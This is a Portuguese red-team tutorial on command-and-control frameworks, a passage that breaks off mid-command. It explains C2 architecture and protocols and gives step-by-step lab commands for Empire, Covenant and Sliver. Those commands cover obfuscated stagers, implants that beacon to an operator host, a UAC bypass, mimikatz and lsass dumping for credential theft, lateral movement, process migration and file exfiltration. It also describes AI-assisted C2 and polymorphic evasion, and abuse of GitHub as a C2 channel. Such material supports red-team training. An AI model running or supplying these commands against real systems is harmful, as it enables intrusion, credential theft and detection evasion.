# C2 - Command & Controler

### 📋 Índice

1. Visão Geral do C2
2. Arquitetura e Componentes
3. Protocolos e Canais de Comunicação
4. Principais Frameworks C2
5. Laboratório: PowerShell Empire
6. Laboratório: Covenant
7. Laboratório: Sliver
8. C2 Modernos e Avançados
9. Plataformas como C2 (Living off Trusted Services)
10. Automação de Operações C2
11. Implantação em Infraestrutura
12. Evasão Avançada e Ocultação
13. Técnicas de Proxying e Redirecionamento
14. C2 Matrix: Comparação de Frameworks
15. Detecção de C2 pela Defesa
16. Mitigação e Contramedidas
17. Referência Rápida
18. Resumo Técnico

***

### 1. Visão Geral do C2

#### O que é Command and Control (C2)?

Command and Control (C2) é um sistema que permite a um atacante manter comunicação com sistemas comprometidos dentro de uma rede vítima. De acordo com o MITRE ATT\&CK (TA0011), "Command and Control consiste em técnicas que adversários podem usar para se comunicar com sistemas sob seu controle dentro de uma rede vítima" .

```yaml
DEFINIÇÃO C2 (COMMAND AND CONTROL):

  🎯 PROPÓSITO:
    - Manter canal de comunicação com agentes implantados
    - Enviar comandos para execução em sistemas comprometidos
    - Receber resultados e dados exfiltrados
    - Gerenciar múltiplos agentes simultaneamente
  
  🏗️ ATORES PRINCIPAIS:
    - Servidor C2: Central de controle (operador)
    - Agente/Beacon: Código executado no alvo
    - Listener: Ponto de entrada para conexões dos agentes
  
  🔄 CATEGORIAS DE C2:
    - Síncrono: Tráfego contínuo entre alvo e servidor
    - Assíncrono: Comandos executados em intervalos agendados (Beacon Mode)
    - Por Demanda: Canal disponível sob demanda (webshells)
  
  📊 MÉTRICAS CRÍTICAS:
    - Dwell Time: Tempo de permanência sem detecção (média global: 21 dias)
    - Breakout Time: Tempo para movimento lateral (média: 1h38min)
```

#### O Ciclo de Funcionamento de um Agente C2

Um agente C2 típico opera em um ciclo contínuo que envolve:

```yaml
CICLO DE VIDA DE UM AGENTE C2:

  🔄 FASE 1 - ESTABELECIMENTO:
    - Coleta de metadados do host (OS, usuário, IP, hostname)
    - Estabelecimento de canal criptografado com servidor
    - Envio do beacon inicial com metadados
  
  💤 FASE 2 - BEACON/SLEEP:
    - Entrada em estado de espera (sleep) configurável
    - Sem atividade de rede durante sleep
    - Reduz significativamente detecção
  
  🔍 FASE 3 - CHECK-IN:
    - Wake-up em intervalo configurado (delay)
    - Solicitação de comandos pendentes ao servidor
    - Inclusão de jitter para evitar padrões detectáveis
  
  ⚙️ FASE 4 - EXECUÇÃO:
    - Recebimento e parsing de comandos
    - Execução no sistema comprometido
    - Coleta de resultados
  
  📤 FASE 5 - RESPOSTA:
    - Encapsulamento dos resultados
    - Envio via canal criptografado
    - Retorno à fase de sleep
```

Esta arquitetura baseada em beacon (consulta periódica em vez de conexão permanente) é fundamental para a operação stealth .

#### Por que C2 é Fundamental?

O C2 representa a evolução natural após o comprometimento inicial de um sistema. Enquanto ferramentas como netcat fornecem acesso básico, frameworks C2 oferecem:

* **Comunicação Cifrada**: Protege comandos e dados contra inspeção de rede
* **Gestão de Múltiplos Agentes**: Controle centralizado de vários sistemas
* **Persistência**: Mecanismos para manter acesso após reinicializações
* **Módulos Especializados**: Funcionalidades prontas para post-exploitation
* **Evidência Forense Mínima**: Técnicas para reduzir rastros em disco e memória
* **Beacon Mode**: Comunicação intermitente que evita padrões de tráfego contínuo
* **Sleep & Jitter**: Configurações que dificultam detecção estatística

```
┌─────────────────────────────────────────────────────────────────┐
│                    INFRAESTRUTURA C2 MODERNA                    │
├─────────────────────────────────────────────────────────────────┤
│                                                                 │
│   ┌──────────┐      ┌──────────────┐      ┌──────────────┐      │
│   │ OPERADOR │◄────►│  REDIRECTOR  │◄────►│   SERVIDOR   │      │
│   │  (CLI)   │ API  │  (CDN/Proxy) │ TLS  │   C2 HIDDEN  │      │
│   └──────────┘      └──────────────┘      └──────────────┘      │
│         ▲                   ▲                    ▲              │
│         │                   │                    │              │
│         ▼                   ▼                    ▼              │
│   ┌──────────┐      ┌──────────────┐      ┌──────────────┐      │
│   │  AGENTE  │◄────►│   BEACON     │◄────►│   LISTENER   │      │
│   │ (Windows)│      │  (Sleep 60s) │      │   (Port 443) │      │
│   └──────────┘      └──────────────┘      └──────────────┘      │
│                                                                 │
│   Características Avançadas:                                    │
│   • Múltiplas camadas de redirecionamento (CDN/CloudFront)      │
│   • Tráfego cifrado indistinguível de HTTPS normal              │
│   • Beacons com delay + jitter (ex: 60s ± 20%)                  │
│   • Domínios rotacionados ou DGA (Domain Generation Algorithm)  │
│   • Certificados TLS válidos de autoridades confiáveis          │
└─────────────────────────────────────────────────────────────────┘
```

***

### 2. Arquitetura e Componentes

#### Componentes Fundamentais

```yaml
COMPONENTES DA INFRAESTRUTURA C2:

  🖥️ SERVIDOR C2 (TEAMSERVER):
    - Central que gerencia todos os agentes
    - Armazena configurações, tarefas e resultados
    - Normalmente escondido atrás de redirectors
    - Exemplos: Empire Server, Covenant Server, Sliver Server
  
  🔄 REDIRECTOR (GHOST RELAY/FRONT END):
    - Componente de borda que recebe conexões dos agentes
    - Replay de tráfego para servidor real
    - Pode ser CDN (CloudFront), proxy, ou servidor dedicado
    - Absorve bloqueios e scanning
    - Exemplo: Ghost Relay do Ankou 
  
  🤖 AGENTE (BEACON/IMPLANTE):
    - Código executado no sistema comprometido
    - Responsável por receber e executar comandos
    - Comunica-se com servidor em intervalos definidos (beacon)
    - Pode ser PowerShell, EXE, DLL, shellcode, ou módulo de linguagem
  
  📡 LISTENER:
    - Configuração que define protocolo, porta e perfil de comunicação
    - Ponto de entrada para agentes se conectarem
    - Pode ser mascarado para parecer tráfego legítimo
  
  ⏱️ BEACON CONFIGURATION:
    - Delay: Intervalo entre comunicações (ex: 5 segundos)
    - Jitter: Variação percentual aleatória do delay (ex: 20%)
    - Kill Date: Data de expiração do agente
    - Proxy: Configurações para evasão
```

#### Arquitetura de Camadas (Ankou como Referência)

Frameworks modernos como o **Ankou** implementam uma arquitetura de camadas que separa componentes para máxima flexibilidade :

```yaml
ARQUITETURA EM CAMADAS DO ANKOU:

  🎭 GHOST RELAY (CAMADA DE FRENTE):
    - Disposable front-end que aceita conexões de agentes
    - Múltiplos transportes (HTTPS, HTTP/3 QUIC, SSH, SMB/WebSocket)
    - Replay de tráfego para servidor real
    - Pode ser descartado e recriado sem afetar servidor
  
  🧠 SERVER (CAMADA CENTRAL):
    - API Go + WebSocket hub com schema GraphQL
    - Persistência de tarefas e loot (SQLite)
    - Autenticação JWT
    - Endpoints de agente protegidos por HMAC
  
  💻 CLIENT (CAMADA DE OPERADOR):
    - Desktop app (Electron/Vite)
    - Dashboards ao vivo, explorador de arquivos
    - Painel de inteligência artificial
    - Visão de loot e tarefas

  🤖 AGENTS (CAMADA DE IMPLANTE):
    - Geist (Windows, Rust/Go, HTTP3/QUIC)
    - Phantasm (Windows, Rust/Go, HTTPS)
    - Shade (Linux, Go, SSH)
    - Wraith (Linux, Rust, HTTP3/QUIC)
```

#### Arquitetura Cliente-Servidor

Frameworks C2 modernos (como Empire 4.0+, Mythic) adotaram arquitetura cliente-servidor, separando a interface do operador do servidor central :

```bash

# Mythic - arquitetura containerizada
# Cada componente roda em seu próprio container Docker
# Servidor Go lida com requests GraphQL e WebSockets
# PostgreSQL para persistência
# RabbitMQ para comunicação entre containers

# Empire 4.0 - nova arquitetura
# Terminal 1: Iniciar servidor (central C2)
sudo powershell-empire server

# Terminal 2: Conectar cliente (operador)
powershell-empire client

# Vantagens da arquitetura cliente-servidor:
# • Múltiplos operadores podem conectar ao mesmo servidor
# • Servidor pode rodar em infraestrutura dedicada (VPS/Cloud)
# • Cliente pode ser executado de qualquer lugar (via rede)
# • API RESTful/GraphQL para automação
# • Histórico e estado persistente entre sessões
```

#### Mythic: Arquitetura Revolucionária

O framework **Mythic** se destaca por sua arquitetura modular única :

```yaml
ARQUITETURA MYTHIC:

  🐳 CONTAINERIZAÇÃO TOTAL:
    - Cada payload type roda em seu próprio container
    - Cada C2 profile tem seu container
    - Servidor Go + PostgreSQL + RabbitMQ
    - Nenhuma dependência instalada no host
  
  🌉 SISTEMA DE TRADUTORES:
    - Agentes se comunicam via JSON
    - Tradutores convertem JSON ↔ binário para agentes em C/C++
    - Remove barreiras para desenvolvimento de agentes
  
  🔌 PLUG-AND-PLAY:
    - Repositório Mythic não contém payloads ou C2 profiles
    - Instalação via comando: `mythic install agent <name>`
    - Agentes podem ser escritos em qualquer linguagem
    - C2 profiles para qualquer protocolo
```

***

### 3. Protocolos e Canais de Comunicação

#### Protocolos Suportados por Frameworks C2

A escolha do protocolo de comunicação é crítica para evasão e confiabilidade:

| Protocolo       | Descrição                  | Nível de Detecção                   | Uso Típico                         | Frameworks              |
| --------------- | -------------------------- | ----------------------------------- | ---------------------------------- | ----------------------- |
| **HTTP**        | Tráfego web padrão         | Alto (UA, headers, padrões)         | Ambientes permissivos              | Empire, Covenant        |
| **HTTPS**       | HTTP sobre TLS             | Médio (TLS fingerprint, JA3)        | Padrão para C2 moderno             | Todos                   |
| **HTTP/3 QUIC** | UDP-based HTTP             | Baixo (novo, menos monitorado)      | Evasão avançada                    | Ankou                   |
| **DNS**         | Consultas DNS              | Muito Baixo (logs pouco analisados) | Ambientes extremamente restritivos | Sliver                  |
| **SMB**         | Compartilhamento Windows   | Médio (tráfego interno)             | Movimento lateral em domínio       | Covenant, Cobalt Strike |
| **ICMP**        | Ping/traceroute            | Baixo (pouco monitorado)            | Exfiltração stealth                | Custom                  |
| **mTLS**        | TLS com certificado mútuo  | Baixo (cifragem forte, autenticado) | Operações de alta segurança        | Sliver                  |
| **SSH**         | Secure Shell               | Médio (pode ser legítimo)           | Ambientes Linux                    | Ankou Shade agent       |
| **P2P**         | Peer-to-peer entre agentes | Muito Baixo                         | Operações avançadas                | Salsa, Peer-to-Peer C2  |

#### mTLS (Mutual TLS) - O Padrão para C2 Seguro

O mTLS adiciona uma camada extra de segurança onde tanto cliente quanto servidor apresentam certificados, dificultando MITM e inspeção :

```bash

# Sliver - listener mTLS
sliver > mtls -l 8443

# Gerar implante com mTLS
sliver > generate --mtls 172.16.192.200:8443 --save beacon.exe

# Verificar jobs ativos
sliver > jobs

# Tráfego é indistinguível de TLS normal no wire
# Certificados são gerados automaticamente pelo Sliver
```

#### HTTP/3 e QUIC - Evasão de Próxima Geração

O protocolo QUIC (HTTP/3) é baseado em UDP e está ganhando adoção, tornando-se um excelente vetor para C2 devido ao menor monitoramento :

```yaml
VANTAGENS DO HTTP/3 QUIC PARA C2:

  🚀 BENEFÍCIOS:
    - Baseado em UDP (menos monitorado que TCP)
    - Criptografia integrada (TLS 1.3 obrigatório)
    - Multiplexação de streams (sem head-of-line blocking)
    - Conexão mais rápida (0-RTT)
    - Tráfego crescente no mundo real (CDNs, Google, Facebook)
  
  📊 DETECÇÃO COMPROMETIDA:
    - Muitos NIDS/SIEM ainda não inspecionam QUIC adequadamente
    - Fingerprinting é mais difícil
    - Ofuscação natural por design

  🔧 EXEMPLO - ANKOU GEIST AGENT:
    - Agente Windows em Rust/Go
    - Transporte HTTP3/QUIC
    - Comunicação de borda a borda
```

***

### 4. Principais Frameworks C2

#### Visão Geral dos Frameworks

| Framework         | Linguagem         | Plataformas     | Interface              | Agentes                | Característica Principal            |
| ----------------- | ----------------- | --------------- | ---------------------- | ---------------------- | ----------------------------------- |
| **Empire**        | Python/PowerShell | Win/Linux/macOS | CLI + GUI (Starkiller) | PowerShell, Python, C# | Post-exploitation PowerShell        |
| **Covenant**      | C#/.NET Core      | Multiplataforma | Web GUI                | .NET (Grunt)           | .NET nativo, multiusuário           |
| **Sliver**        | Go                | Multiplataforma | CLI                    | Binários Go            | Evasão de AV, múltiplos protocolos  |
| **Mythic**        | Python/Go/JS      | Multiplataforma | Web GUI                | C#, Python, Go, Nim    | Modular, containerizado, tradutores |
| **Ankou**         | Go/Rust/JS        | Multiplataforma | Electron GUI           | Rust, Go, Node.js      | AI companion, Poly Engine           |
| **Cobalt Strike** | Java              | Multiplataforma | GUI                    | Beacon (C/C++)         | Comercial, gold standard            |
| **Mihra**         | Go                | Multiplataforma | CLI                    | Shell reverso          | Leve, modular                       |

#### Características a Avaliar

```yaml
CARACTERÍSTICAS DE AVALIAÇÃO:

  🔧 TÉCNICAS:
    - Comunicação Assíncrona: Beacons com delay e jitter
    - Linguagem do Framework: Python, Go, C#, Rust
    - Protocolos Suportados: HTTP, HTTPS, DNS, SMB, mTLS, QUIC, SSH
    - Agentes: Windows, Linux, macOS (quais arquiteturas)
  
  🛡️ OPERACIONAIS:
    - Kill Date: Data de expiração do agente
    - Jitter: Variação do delay (evita padrões)
    - Proxy Support: Conexões através de proxies
    - CDN Support: CloudFront, Cloudflare
    - Community Support: Ativo e bem documentado
  
  🖥️ INTERFACE:
    - CLI: Linha de comando (Sliver, Empire CLI)
    - Web GUI: Interface gráfica web (Covenant, Mythic)
    - Desktop GUI: Aplicação nativa (Ankou)
    - API: Para automação (GraphQL, REST)
  
  🤖 AGENT FEATURES:
    - Ofuscação automática de binários
    - Suporte a múltiplos transportes
    - Extensibilidade (módulos/BOFs)
    - AMSI bypass integrado
    - Process injection/migration
```

***

### 5. Laboratório: PowerShell Empire (Aprofundado)

#### Visão Geral do Empire

O Empire é um framework de post-exploitation que suporta agentes PowerShell (Windows), Python (Linux/macOS) e C#. Foi originalmente desenvolvido por @harmj0y e @sixdub, descontinuado em agosto de 2019, e posteriormente restaurado e mantido pela BC Security.

```yaml
CARACTERÍSTICAS DO EMPIRE:

  ✅ VANTAGENS:
    - Gratuito e open-source
    - Ferramenta consagrada e intuitiva
    - Instalação fácil (incluído no Kali)
    - Multiusuário (servidor + clientes)
    - Interface CLI e GUI (Starkiller)
    - Comunicação cifrada entre agente e servidor
    - Grande variedade de módulos
    - Agentes para Windows, Linux e macOS
  
  ❌ DESVANTAGENS:
    - Muito conhecido, soluções de AV criaram assinaturas
    - Elevada dependência do PowerShell no Windows
    - Apenas HTTP e HTTPS como protocolos
```

#### Instalação e Configuração Avançada

```bash

# Empire já vem instalado no Kali (versões recentes)
sudo apt update && sudo apt install powershell-empire -y

# Configuração manual do servidor - arquivo YAML
sudo vim /usr/share/powershell-empire/empire/server/config.yaml

# Exemplo de configuração avançada
database:
  type: sqlite
  location: /var/lib/powershell-empire/empire.db

defaults:
  staging-key: RANDOM  # Usar variável de ambiente para segurança
  username: empireadmin
  password: <USE_STRONG_PASSWORD>
  obfuscate: true
  obfuscate-command: "Token\All\1"

# IP whitelist para controle de acesso
ip-whitelist: "192.168.1.0/24,10.0.0.0/8"

# Criação de usuários adicionais (multiusuário)
sudo powershell-empire server --user newuser --password strongpass
```

#### Configuração de Listener com Perfil Personalizado

```bash

# No cliente Empire
powershell-empire client

# Criar listener HTTP com perfil customizado
(Empire) > uselistener http
(Empire: uselistener/http) > set Name HTTPS_Prod
(Empire: uselistener/http) > set Port 443
(Empire: uselistener/http) > set Host https://fake-cdn.cloudfront.net
(Empire: uselistener/http) > set DefaultDelay 60
(Empire: uselistener/http) > set DefaultJitter 0.3
(Empire: uselistener/http) > set KillDate 2024-12-31
(Empire: uselistener/http) > set WorkingHours 9-17
(Empire: uselistener/http) > set UserAgent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
(Empire: uselistener/http) > set Headers "Accept: application/json, X-Custom: legit"
(Empire: uselistener/http) > execute

# Verificar listeners ativos
(Empire) > listeners
```

#### Stager Avançado e Ofuscação

```bash

# Usar stager multi/launcher com ofuscação
(Empire) > usestager multi/launcher
(Empire: usestager/multi/launcher) > set Listener HTTPS_Prod
(Empire: usestager/multi/launcher) > set Obfuscate True
(Empire: usestager/multi/launcher) > set ObfuscateCommand "Token\All\1"

# Gerar comando ofuscado em Base64
(Empire: usestager/multi/launcher) > generate

# Alternativa: stager Windows executável
(Empire) > usestager windows/launcher_bat
(Empire: usestager/windows/launcher_bat) > set Listener HTTPS_Prod
(Empire: usestager/windows/launcher_bat) > set Obfuscate True
(Empire: usestager/windows/launcher_bat) > generate
```

#### Interação Avançada com Agente

```bash

# Listar agentes com filtros
(Empire) > agents --filter "high_integrity:True"

# Interagir com agente
(Empire) > interact 8F3A2B

# Coleta de informações do sistema
(Empire: 8F3A2B) > sysinfo
(Empire: 8F3A2B) > netview
(Empire: 8F3A2B) > arp

# Escalada de privilégio
(Empire: 8F3A2B) > usemodule privesc/bypassuac_eventvwr
(Empire: usemodule/...) > set Listener HTTPS_Prod
(Empire: usemodule/...) > execute

# Extração de credenciais
(Empire: 8F3A2B) > usemodule credentials/mimikatz/logonpasswords
(Empire: usemodule/...) > execute

# Movimento lateral
(Empire: 8F3A2B) > usemodule lateral_movement/invoke_wmi
(Empire: usemodule/...) > set ComputerName TARGET-PC
(Empire: usemodule/...) > set CredID ID_DA_CREDENCIAL
(Empire: usemodule/...) > execute
```

#### Gerenciamento de Credenciais

```bash

# Empire mantém banco de dados de credenciais
(Empire) > creds

# Adicionar credencial manual
(Empire) > creds add domain usuario senha

# Usar credencial em módulos
(Empire) > usemodule lateral_movement/invoke_psexec
(Empire: usemodule/...) > set ComputerName FILESERVER
(Empire: usemodule/...) > set CredID 3
```

#### Plugin e Módulo Development

```python
# Exemplo de módulo customizado Empire
# localizado em: /usr/share/powershell-empire/empire/server/modules/

def execute(self, module, input_args):
    # Coletar parâmetros
    target = module.get_option('Target')
    
    # Comando PowerShell a executar
    script = f"""
    $result = Invoke-CustomEnum -ComputerName {target}
    $result | ConvertTo-Json
    """
    
    # Executar no agente
    task = module.agent.task(script)
    return task
```

***

### 6. Laboratório: Covenant (Aprofundado)

#### Visão Geral do Covenant

Covenant é um framework C2 desenvolvido em C# e .NET Core, projetado para ser multiplataforma, multiusuário e com interface web intuitiva. Foi criado pela equipe SpecterOps como sucessor espiritual do Empire.

```yaml
CARACTERÍSTICAS DO COVENANT:

  ✅ VANTAGENS:
    - Gratuito e open-source
    - Interface web intuitiva e colaborativa
    - Multiusuário nativo
    - Multiplataforma (Linux, MacOS, Windows)
    - Agentes C# (Grunt) para Windows
    - Vários tipos de launcher (InstallUtil, MSBuild, Regsvr32)
    - Listener profiles customizáveis
    - Suporte a SMB para movimento lateral
  
  ❌ DESVANTAGENS:
    - Agentes apenas para Windows
    - Protocolos limitados (HTTP, HTTPS, SMB)
```

#### Instalação e Configuração

```bash

# Clonar repositório com submódulos (importante!)
cd ~/tools
git clone --recurse-submodules https://github.com/cobbr/Covenant

# Entrar no diretório principal
cd Covenant/Covenant

# Instalar .NET Core SDK 3.1 se necessário
# https://dotnet.microsoft.com/en-us/download/dotnet/3.1

# Executar com dotnet
sudo dotnet run

# Saída esperada:
# Covenant has started! Navigate to https://127.0.0.1:7443 in a browser
```

#### Configuração de Listener com Profile Customizado

1. Acessar `https://127.0.0.1:7443`
2. Criar usuário e senha para primeiro acesso
3. Navegar para **Listeners** > **Create**
4. Selecionar perfil **HTTP** (padrão) ou criar custom profile
5. Configurações avançadas:

```yaml
Exemplo de Profile Customizado (YAML):

Name: CloudFront_Profile
Description: Profile para CloudFront CDN

HttpRequest:
  Uri: "/api/v1/status"
  Method: "GET"
  Headers:
  - Name: "User-Agent"
    Value: "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
  - Name: "Accept"
    Value: "application/json"
  - Name: "X-Custom-Header"
    Value: "{{HeaderValue}}"

HttpResponse:
  Headers:
  - Name: "Content-Type"
    Value: "application/json"
  MessageTransform: "Base64"

HttpResponseCookies:
- Name: "SESSIONID"
  Value: "{{CookieValue}}"
  HttpOnly: true
  Secure: true
```

#### Criação de Launchers Diversificados

| Launcher Type   | Descrição                         | Use Case                     |
| --------------- | --------------------------------- | ---------------------------- |
| **InstallUtil** | DLL executada via InstallUtil.exe | Evasão, uso de .NET legítimo |
| **MSBuild**     | XML com tarefa inline C#          | Build pipelines              |
| **Regsvr32**    | DLL executada via regsvr32        | COM object registration      |
| **Wmic**        | XSL script via WMIC               | Execução lateral             |
| **PowerShell**  | Comando PowerShell one-liner      | Fileless execution           |
| **Binary**      | EXE/DLL direto                    | Simples execução             |

#### Interação com Grunt (Agente)

```bash

# Após estabelecer agente, comandos úteis

# Coleta de informações
shellcmd whoami /all
shellcmd ipconfig /all
shellcmd net user /domain

# Navegação e arquivos
ls C:\Users\
download C:\Users\Administrator\Desktop\secrets.txt
upload /tmp/payload.exe C:\Users\Public\

# Persistência
task Persistence
# Opções: RegistryRun, ScheduledTask, WmiEvent

# Captura de tela
screenshot

# Coleta de credenciais
task Mimikatz

# Movimento lateral via SMB
task Connect -ComputerName TARGET-SERVER -PipeName WIN-DCOM
```

***

### 7. Laboratório: Sliver (Aprofundado)

#### Visão Geral do Sliver

Sliver é um framework C2 escrito em Go, desenvolvido pela BishopFox. É conhecido por sua capacidade de evasão de antivírus, ofuscação de binários e suporte a múltiplos protocolos .

```yaml
CARACTERÍSTICAS DO SLIVER:

  ✅ VANTAGENS:
    - Gratuito e open-source
    - Multiplataforma (escrito em Go)
    - Vários protocolos: mTLS, WireGuard, HTTP, HTTPS, DNS
    - Ofuscação de binários para evasão de AV (garble)
    - Comunicação cifrada
    - Agentes para Windows, Linux, macOS
    - Suporte a BOFs (Beacon Object Files) do Cobalt Strike
  
  ❌ DESVANTAGENS:
    - Sem interface gráfica nativa
    - Sem configuração de jitter (próximas versões)
    - Sem kill date nativo
    - Sem suporte a proxy
```

#### Instalação e Configuração Avançada

```bash

# Instalação via script (recomendado)
curl https://sliver.sh/install | sudo bash

# Verificar instalação
sliver --version

# Iniciar servidor com opções avançadas
sudo sliver

# Configurações de limite de sessões
sliver > config -max-session 100

# Configurar domínio para HTTPS
sliver > http -d example.com -l 443
```

#### Criação de Implantes Ofuscados

```bash

# Gerar implante Windows com ofuscação (garble)
sliver > generate --mtls 172.16.192.200:8443 --os windows --arch amd64 --save beacon.exe --garble

# Gerar com profiling para debug
sliver > generate --mtls 172.16.192.200:8443 --debug --save beacon_debug.exe

# Gerar shellcode para injeção
sliver > generate --mtls 172.16.192.200:8443 --format shellcode --save beacon.bin

# Gerar para Linux com HTTPs
sliver > generate --https 172.16.192.200:443 --os linux --save beacon_linux

# Ver opções completas
sliver > generate -h
```

#### Estabelecimento e Interação com Sessão

```bash

# Servir implante via HTTP
sliver > stage-listener --url http://172.16.192.200:8080 --profile windows-mtls

# Gerar stager em PowerShell
sliver > generate --mtls 172.16.192.200:8443 --format powershell --save stager.ps1

# Ver sessões ativas
sliver > sessions

# Interagir com sessão específica
sliver > use 3d4f2a1b

# Comandos de sessão
sliver (3d4f2a1b) > info
sliver (3d4f2a1b) > whoami
sliver (3d4f2a1b) > ifconfig
sliver (3d4f2a1b) > ps
sliver (3d4f2a1b) > screenshot

# Migrar para outro processo
sliver (3d4f2a1b) > migrate explorer.exe

# Upload/download
sliver (3d4f2a1b) > upload /tmp/payload.exe
sliver (3d4f2a1b) > download C:\secrets\database.db
```

#### Execução de BOFs (Beacon Object Files)

Sliver suporta execução de BOFs do Cobalt Strike, permitindo reuso de arsenal existente:

```bash

# Executar BOF de enumeração
sliver (session) > bof safemode_mimikatz

# Executar BOF customizado
sliver (session) > bof /path/to/custom/bof.o --args "argumentos"
```

#### Dump de Memória Offline (Evita Mimikatz)

```bash

# Método stealthy: dump do lsass sem ferramentas na memória

# Identificar PID do lsass
sliver (session) > ps -e lsass

# Dump de memória do processo
sliver (session) > procdump -p <PID>

# Transferir dump para Kali
sliver (session) > download <dump_file>

# No Kali, extrair credenciais do dump offline
pypykatz lsa minidump <dump_file>

# Vantagem: Mimikatz não toca na memória do alvo
# Desvantagem: Dump pode ser grande (30-100MB)
```

#### Escalada de Privilégio

```bash

# Verificar privilégios atuais
sliver (session) > whoami /priv

# Tentativa de escalada via token duplication
sliver (session) > getsystem

# Via serviço vulnerável
sliver (session) > elevate

# Via BOF de escalada
sliver (session) >  bof SweetPotato
```

***

### 8. C2 Modernos e Avançados

#### Ankou - C2 com Inteligência Artificial

**Ankou** é um framework C2 de próxima geração que integra IA para assistência operacional e diversificação de binários.

```yaml
CARACTERÍSTICAS PRINCIPAIS:

  🤖 AI COMPANION:
    - Integração com qualquer endpoint OpenAI-compatible
    - Suporte a modelos locais (LM Studio, Ollama, OpenWebUI)
    - Análise de histórico de comandos
    - Sugestões de comandos contextuais
    - Explicações para operadores menos experientes
    - Dados de alvo mantidos em infraestrutura controlada
  
  🎭 POLY ENGINE:
    - Reescrita de código fonte do implante
    - Cada build gera binário significativamente diferente
    - Preserva funcionalidade completa
    - Reduz detectabilidade entre campanhas
  
  🔌 TRANSPORTES MODULARES:
    - Ghost Relay com múltiplos transportes
    - HTTP/3 QUIC, HTTPS, SSH, SMB/WebSocket
    - Adição de novos transportes via módulo template
    - Identificação de agente por corpo da requisição (não porta)
  
  🤖 AGENTES DIVERSOS:
    - Geist: Windows, Rust/Go, HTTP3/QUIC
    - Phantasm: Windows, Rust/Go, HTTPS
    - Shade: Linux, Go, SSH
    - Anomaly: Windows, Node.js (injetado em C)
    - Wraith: Linux, Rust, HTTP3/QUIC
```

**Configuração do AI Companion**

```yaml
# Configuração do AI no Ankou
ai:
  endpoint: "http://localhost:1234/v1"  # LM Studio/Ollama
  model: "llama-2-7b"
  api_key: ""  # Vazio para modelos locais
  system_prompt: |
    Você é um assistente de Red Team especializado em operações C2.
    Forneça recomendações contextualizadas baseadas no output dos comandos.
    Use tags <cmdankou>comando</cmdankou> para comandos executáveis.
```

**Poly Engine - Diversificação de Binários**

```bash

# Ankou Poly Engine em ação
python poly_engine.py --source agent/geist/ --output agent/geist/obfuscated/

# Reescrita de:
# - Nomes de variáveis
# - Estrutura de funções
# - Strings e literais
# - Ordem de execução

# Compilação do binário diversificado
./build.sh geist --transport quic --output geist_variant_3.exe
```

#### Mythic - Framework Modular Containerizado

Mythic representa uma abordagem radicalmente diferente para C2, com arquitetura totalmente containerizada e sistema de tradutores.

```yaml
ARQUITETURA MYTHIC:

  🐳 COMPONENTES CONTAINERIZADOS:
    - Mythic Server (Go + GraphQL + WebSocket)
    - PostgreSQL (persistência)
    - RabbitMQ (comunicação entre containers)
    - Payload containers (cada agente em seu container)
    - C2 Profile containers (cada protocolo em seu container)
    - Translator containers (para agentes low-level)
  
  🔌 SISTEMA DE PAYLOADS:
    - Apfell (Python3/macOS/Linux)
    - Merlin (Go/Windows/Linux/macOS)
    - Poseidon (C#/Windows)
    - Various community agents (Nim, Rust, C)
  
  🎨 BROWSER SCRIPTING:
    - Renderização dinâmica de output
    - Tabelas interativas com botões de ação
    - Visualização de screenshots
    - Download direto de arquivos
    - Botões para tarefas recorrentes 
```

**Browser Scripting no Mythic**

O Mythic oferece um sistema de "browser scripting" que transforma output textual em interfaces ricas :

```javascript
// Exemplo de browser script para output de arquivo
function processResponse(data) {
  // Converte output bruto em tabela interativa
  let files = parseFileListing(data);
  
  return {
    table: {
      title: "Directory Listing - C:\\Windows\\System32",
      headers: [
        { name: "Name", type: "string" },
        { name: "Size", type: "size" },
        { name: "Modified", type: "date" }
      ],
      rows: files.map(file => ({
        data: [file.name, file.size, file.modified],
        buttons: [
          { ui_feature: "download", name: "Download", parameter: file.path },
          { ui_feature: "cat", name: "View", parameter: file.path }
        ]
      }))
    }
  };
}
```

#### Mihra - Framework Leve e Modular

Mihra é um framework C2 simplificado focado em segurança e modularidade, escrito em Go.

```yaml
CARACTERÍSTICAS DO MIHRA:

  🔒 SEGURANÇA:
    - Proteção de memória (criptografia, locking seguro)
    - AES para comunicação cifrada
    - RSA para troca de chaves
    - Ofuscação de tráfego
    - Evasão de firewall
  
  🎭 SHELL ANONYMIZATION:
    - Manipulação de histórico de comandos
    - Técnicas de ocultação de processo
    - Ocultação de conexões de rede
    - Ocultação e exclusão segura de arquivos
  
  🧩 ARQUITETURA MODULAR:
    - core/connector: conectividade TCP/UDP/HTTP/HTTPS/DNS
    - core/crypto: operações criptográficas
    - core/security: features de segurança
    - modules/shell_anon: anonimização
    - modules/sessions: gerenciamento de sessões
```

***

### 9. Plataformas como C2 (Living off Trusted Services)

#### O Conceito de "Platform-Based C2"

Uma evolução significativa no C2 é o abuso de plataformas legítimas como canais de comando e controle. Esta técnica, conhecida como "Platform-Based C2" ou "Living off Trusted Services", utiliza APIs de serviços confiáveis (GitHub, Slack, Discord, Google Drive, Cloud Storage) para mascarar completamente o tráfego de C2.

```yaml
VANTAGENS DO PLATFORM-BASED C2:

  🛡️ BENEFÍCIOS OPERACIONAIS:
    - Domínios de plataformas são sempre confiáveis
    - Tráfego psicografado com TLS legítimo
    - Sem necessidade de registrar domínios próprios
    - Imunidade a bloqueios DNS
    - Threat Intelligence não cataloga como malicioso
    - Comunicação se mistura a tráfego corporativo normal
  
  🔴 DESVANTAGENS:
    - APIs podem mudar sem aviso
    - Dependência de serviços terceiros
    - Riscos de rate limiting
    - Possibilidade de banimento de contas
```

#### Redeemer C2 - Abusando GitHub API

Redeemer C2 é um framework escrito em Rust que utiliza GitHub como servidor C2, abusando de Issues e Comments da plataforma.

```yaml
FUNCIONAMENTO DO REDEEMER C2:

  📝 ESTRUTURA GITHUB:
    - Repositório privado como "servidor"
    - Issues representam agentes (cada issue = um host)
    - Labels identificam agentes ativos
    - Comments contêm comandos e resultados
    - GitHub API como canal de comunicação
  
  🔄 FLUXO DE COMUNICAÇÃO:
    1. Agente autentica no GitHub com token
    2. Agente procura issue com seu label
    3. Agente lê comentários (comandos)
    4. Agente executa comando e posta resultado
    5. Operador lê resultados via GitHub API
  
  🛡️ VANTAGENS:
    - Tráfego indistinguível de dev legítimo
    - GitHub é whitelist em 99% das empresas
    - TLS nativo
    - Logs mostram apenas API GitHub
    - Persistência via token renovável
```

**Configuração do Redeemer C2**

```bash

# Redeemer C2 - configuração básica
# Criar token GitHub com escopo repo e issues

./redeemer --platform github \
